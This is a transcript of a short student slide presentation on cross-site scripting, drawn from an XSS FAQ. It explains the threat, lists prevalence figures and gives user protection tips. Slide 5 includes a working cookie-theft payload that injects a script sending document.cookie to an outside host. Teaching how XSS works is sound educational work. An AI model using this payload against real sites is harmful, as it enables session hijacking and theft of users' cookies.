1 / 8

Cross Site Scripting

LAÏMOUCHE El Hadj, DAVY Benjamin. Information Systems Security. Cross Site Scripting. What is Cross Site Scripting ?. Users data gathered by a website . Using malicious code hidden in links, posts on a board or e-mails. Encoded to be less suspicious : e.g . in HEX.

shay-farmer
Télécharger la présentation

Cross Site Scripting

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. LAÏMOUCHE El Hadj, DAVY Benjamin Information Systems Security Cross Site Scripting source : http://www.cgisecurity.com/articles/xss-faq.shtml

  2. What is Cross Site Scripting ? • Users data gathered by a website. • Usingmalicious code hidden in links, posts on a board or e-mails. • Encoded to belesssuspicious : e.g. in HEX. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  3. What does XSS and CSS mean ? • Often people refer to Cross Site Scripting as CSS. • CSS is also used for Cascading Style Sheets. • Whenyousee XSS youcanbe sure it’stalking about the securitythreat. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  4. What are the threats of Cross Site Scripting ? • Injection of JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user. • Account, users settings, cookie theft, false advertising is possible. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  5. How to : XSS cookie theft • Target a websiteusingcookies. • Test how itworks and whereit’s possible to insert code (e.g. enabled HTML in a form). • Javascript code : http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> source : http://www.cgisecurity.com/articles/xss-faq.shtml

  6. How to protectmyself ? • Follow links from the main website. • Be careful XSS canbeexecutedautomaticallywhenyou open an e-mail, read a guestbook … • Turn off javascript. • Encryptionisuseless. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  7. How common are XSS holes? • Websitesfrom FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs. • 10-25 XSS holes are foundeverymonth. source : http://www.cgisecurity.com/articles/xss-faq.shtml

  8. It’s over • Any questions ? source : http://www.cgisecurity.com/articles/xss-faq.shtml

More Related